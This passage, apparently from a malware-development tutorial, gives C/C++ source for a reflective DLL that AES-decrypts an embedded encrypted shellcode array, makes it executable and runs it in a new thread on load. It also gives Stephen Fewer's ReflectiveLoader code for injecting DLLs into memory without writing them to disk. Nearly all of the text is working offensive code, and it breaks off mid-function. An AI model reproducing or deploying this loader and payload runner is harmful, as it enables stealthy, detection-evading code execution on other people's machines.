0xa6, 0xb2, 0x5f, 0xdc, 0x3b, 0x1, 0x70, 0x16, 0x61, 0x4c, 0xee, 0x42, 0x69, 0xf6, 0x1, 0x87, 0x76, 0x2f, 0x84, 0x14, 0x38, 0xd3, 0xa6, 0xe0, 0x25, 0x57, 0xa0, 0x7e, 0x4c, 0x1c, 0x6, 0xf, 0xae, 0x29, 0x92, 0x10, 0x3f, 0x5a, 0xff, 0x1d, 0x57, 0x67, 0x18, 0xba, 0x67, 0xb1, 0x7d, 0x9a, 0x6f, 0x48, 0xa3, 0x23, 0x23, 0x12, 0x62, 0xe3, 0x8b, 0xfb, 0x3e, 0x63, 0x9, 0xd0, 0x1d, 0xf8, 0xb0, 0xf6, 0x9c, 0x94, 0xd4, 0xb3, 0x2b, 0xfe, 0xe, 0xbb, 0x98, 0x65, 0xcf, 0x29, 0x39, 0xf8, 0x74, 0x3b, 0x9d, 0x24, 0xc2, 0xc, 0xa4, 0xdf, 0x7e, 0x4, 0xfd, 0xf9, 0x11, 0xc5, 0x36, 0xc6, 0xb5, 0x27, 0xd, 0x16, 0xa9, 0xe, 0xe3, 0x9, 0x65, 0xfb, 0xa5, 0xa3 };
unsigned char key[] = { 0xaf, 0x86, 0x80, 0xd4, 0x5e, 0xa3, 0xae, 0x79, 0xa9, 0x92, 0x38, 0xbe, 0x79, 0x8a, 0x9c, 0x41 };

void Go(void) {

    void* exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len = sizeof(payload);

    // Allocate memory for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt payload
    AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

    // Copy payload to allocated buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make the buffer executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    // If all good, launch the payload
    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

}

extern "C" HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Go, 0, 0, 0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

ReflectiveLoader.h

#pragma once
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H

#define WIN_X64
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>

#include "ReflectiveDLLInjection.h"

typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);

#define KERNEL32DLL_HASH				0x6A4ABC5B
#define NTDLLDLL_HASH					0x3CFA685D

#define LOADLIBRARYA_HASH				0xEC0E4E8E
#define GETPROCADDRESS_HASH				0x7C0DFCAA
#define VIRTUALALLOC_HASH				0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH	0x534C0AB8

#define IMAGE_REL_BASED_ARM_MOV32A		5
#define IMAGE_REL_BASED_ARM_MOV32T		7

#define ARM_MOV_MASK					(DWORD)(0xFBF08000)
#define ARM_MOV_MASK2					(DWORD)(0xFBF08F00)
#define ARM_MOVW						0xF2400000
#define ARM_MOVT						0xF2C00000

#define HASH_KEY						13
//===============================================================================================//
#pragma intrinsic( _rotr )

__forceinline DWORD ror(DWORD d)
{
	return _rotr(d, HASH_KEY);
}

__forceinline DWORD hash(char* c)
{
	register DWORD h = 0;
	do
	{
		h = ror(h);
		h += *c;
	} while (*++c);

	return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) ) 
typedef struct _LDR_DATA_TABLE_ENTRY
{
	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STR FullDllName;
	UNICODE_STR BaseDllName;
	ULONG Flags;
	SHORT LoadCount;
	SHORT TlsIndex;
	LIST_ENTRY HashTableEntry;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
	DWORD dwLength;
	DWORD dwInitialized;
	LPVOID lpSsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
	struct _PEB_FREE_BLOCK* pNext;
	DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
	BYTE bInheritedAddressSpace;
	BYTE bReadImageFileExecOptions;
	BYTE bBeingDebugged;
	BYTE bSpareBool;
	LPVOID lpMutant;
	LPVOID lpImageBaseAddress;
	PPEB_LDR_DATA pLdr;
	LPVOID lpProcessParameters;
	LPVOID lpSubSystemData;
	LPVOID lpProcessHeap;
	PRTL_CRITICAL_SECTION pFastPebLock;
	LPVOID lpFastPebLockRoutine;
	LPVOID lpFastPebUnlockRoutine;
	DWORD dwEnvironmentUpdateCount;
	LPVOID lpKernelCallbackTable;
	DWORD dwSystemReserved;
	DWORD dwAtlThunkSListPtr32;
	PPEB_FREE_BLOCK pFreeList;
	DWORD dwTlsExpansionCounter;
	LPVOID lpTlsBitmap;
	DWORD dwTlsBitmapBits[2];
	LPVOID lpReadOnlySharedMemoryBase;
	LPVOID lpReadOnlySharedMemoryHeap;
	LPVOID lpReadOnlyStaticServerData;
	LPVOID lpAnsiCodePageData;
	LPVOID lpOemCodePageData;
	LPVOID lpUnicodeCaseTableData;
	DWORD dwNumberOfProcessors;
	DWORD dwNtGlobalFlag;
	LARGE_INTEGER liCriticalSectionTimeout;
	DWORD dwHeapSegmentReserve;
	DWORD dwHeapSegmentCommit;
	DWORD dwHeapDeCommitTotalFreeThreshold;
	DWORD dwHeapDeCommitFreeBlockThreshold;
	DWORD dwNumberOfHeaps;
	DWORD dwMaximumNumberOfHeaps;
	LPVOID lpProcessHeaps;
	LPVOID lpGdiSharedHandleTable;
	LPVOID lpProcessStarterHelper;
	DWORD dwGdiDCAttributeList;
	LPVOID lpLoaderLock;
	DWORD dwOSMajorVersion;
	DWORD dwOSMinorVersion;
	WORD wOSBuildNumber;
	WORD wOSCSDVersion;
	DWORD dwOSPlatformId;
	DWORD dwImageSubsystem;
	DWORD dwImageSubsystemMajorVersion;
	DWORD dwImageSubsystemMinorVersion;
	DWORD dwImageProcessAffinityMask;
	DWORD dwGdiHandleBuffer[34];
	LPVOID lpPostProcessInitRoutine;
	LPVOID lpTlsExpansionBitmap;
	DWORD dwTlsExpansionBitmapBits[32];
	DWORD dwSessionId;
	ULARGE_INTEGER liAppCompatFlags;
	ULARGE_INTEGER liAppCompatFlagsUser;
	LPVOID lppShimData;
	LPVOID lpAppCompatInfo;
	UNICODE_STR usCSDVersion;
	LPVOID lpActivationContextData;
	LPVOID lpProcessAssemblyStorageMap;
	LPVOID lpSystemDefaultActivationContextData;
	LPVOID lpSystemAssemblyStorageMap;
	DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;

typedef struct
{
	WORD	offset : 12;
	WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

ReflectiveDLLInjection.h

This is header contain defenition of reflectiveLoader function and also DllMain and other fromat type we will need later

// Some code
#pragma once

//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>


#define DLL_QUERY_HMODULE		6

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);

#define DLLEXPORT   __declspec( dllexport ) 

//===============================================================================================//
#endif
//===============================================================================================//

ReflectiveLoader.c

//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;

#define REFLDR_NAME ReflectiveLoader

//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//

// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
//         otherwise the DllMain at the end of this file will be used.

// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.

// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI REFLDR_NAME(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI REFLDR_NAME(VOID)
#endif
{
	// the functions we need
	LOADLIBRARYA pLoadLibraryA = NULL;
	GETPROCADDRESS pGetProcAddress = NULL;
	VIRTUALALLOC pVirtualAlloc = NULL;
	NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

	USHORT usCounter;

	// the initial location of this image in memory
	ULONG_PTR uiLibraryAddress;
	// the kernels base address and later this images newly loaded base address
	ULONG_PTR uiBaseAddress;

	// variables for processing the kernels export table
	ULONG_PTR uiAddressArray;
	ULONG_PTR uiNameArray;
	ULONG_PTR uiExportDir;
	ULONG_PTR uiNameOrdinals;
	DWORD dwHashValue;

	// variables for loading this image
	ULONG_PTR uiHeaderValue;
	ULONG_PTR uiValueA;
	ULONG_PTR uiValueB;
	ULONG_PTR uiValueC;
	ULONG_PTR uiValueD;
	ULONG_PTR uiValueE;

	// STEP 0: calculate our images current base address

	// we will start searching backwards from our callers return address.
	uiLibraryAddress = caller();

	// loop through memory backwards searching for our images base address
	// we dont need SEH style search as we shouldnt generate any access violations with this
	while (TRUE)
	{
		if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
					break;
			}
		}
		uiLibraryAddress--;
	}

	// STEP 1: process the kernels exports for the functions our loader needs...

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
//	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list
	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while (uiValueA)
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;

		// compute the hash of the module name...
		do
		{
			uiValueC = ror((DWORD)uiValueC);
			// normalize to uppercase if the madule name is in lowercase
			if (*((BYTE*)uiValueB) >= 'a')
				uiValueC += *((BYTE*)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE*)uiValueB);
			uiValueB++;
		} while (--usCounter);

		// compare the hash with that of kernel32.dll
		if ((DWORD)uiValueC == KERNEL32DLL_HASH)
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			// get the VA of the export directory
			uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

			// get the VA for the array of name pointers
			uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

			// get the VA for the array of name ordinals
			uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

			usCounter = 3;

			// loop while we still have imports to find
			while (usCounter > 0)
			{
				// compute the hash values for this function name
				dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));

				// if we have found a function we want we get its virtual address
				if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
				{
					// get the VA for the array of addresses
					uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (dwHashValue == LOADLIBRARYA_HASH)
						pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
					else if (dwHashValue == GETPROCADDRESS_HASH)
						pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
					else if (dwHashValue == VIRTUALALLOC_HASH)
						pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}
		else if ((DWORD)uiValueC == NTDLLDLL_HASH)
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			// get the VA of the export directory
			uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

			// get the VA for the array of name pointers
			uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

			// get the VA for the array of name ordinals
			uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

			usCounter = 1;

			// loop while we still have imports to find
			while (usCounter > 0)
			{
				// compute the hash values for this function name
				dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));

				// if we have found a function we want we get its virtual address
				if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
				{
					// get the VA for the array of addresses
					uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}

		// we stop searching when we have found everything we need.
		if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
			break;

		// get the next entry
		uiValueA = DEREF(uiValueA);
	}

	// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while (uiValueA--)
		*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;

	// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

	// itterate through all sections, loading them into memory.
	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while (uiValueE--)
	{
		// uiValueB is the VA for this section
		uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);

		// uiValueC if the VA for this sections data
		uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while (uiValueD--)
			*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;

		// get the VA of the next section
		uiValueA += sizeof(IMAGE_SECTION_HEADER);
	}

	// STEP 4: process our images import table...

	// uiValueB = the address of the import directory
	uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

	// itterate through all imports
	while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
	{
		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);

		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);

		// itterate through all imported functions, importing by ordinal if no name present
		while (DEREF(uiValueA))
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

				// get the VA of the export directory
				uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

				// get the VA for the array of addresses
				uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));

				// patch in the address for this imported function
				DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = (uiBaseAddress + DEREF(uiValueA));

				// use GetProcAddress and patch in the address for this imported function
				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
			}
			// get the next imported function
			uiValueA += sizeof(ULONG_PTR);
			if (uiValueD)
				uiValueD += sizeof(ULONG_PTR);
		}

		// get the next import
		uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}

	// STEP 5: process all of our images relocations...

	// calculate the base address delta and perform relocations (even if we load at desired image base)
	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	// uiValueB = the address of the relocation directory
	uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	// check if their are any relocations present
	if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
	{
		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
		uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

		// and we itterate through all entries...
		while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
		{
			// uiValueA = the VA for this relocation block
			uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);

			// uiValueB = number of entries in this relocation block
			uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

			// uiValueD is now the first entry in the current relocation block
			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while (uiValueB--)
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
					*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
					*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
				// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
				{
					register DWORD dwInstruction;
					register DWORD dwAddress;
					register WORD wImm;
					// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
					dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
					// flip the words to get the instruction as expected
					dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
					// sanity chack we are processing a MOV instruction...
					if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
					{
						// pull out the encoded 16bit value (the high portion of the address-to-relocate)
						wImm = (WORD)(dwInstruction & 0x000000FF);
						wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
						wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
						wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
						// apply the relocation to the target address
						dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
						// now create a new instruction with the same opcode and register param.
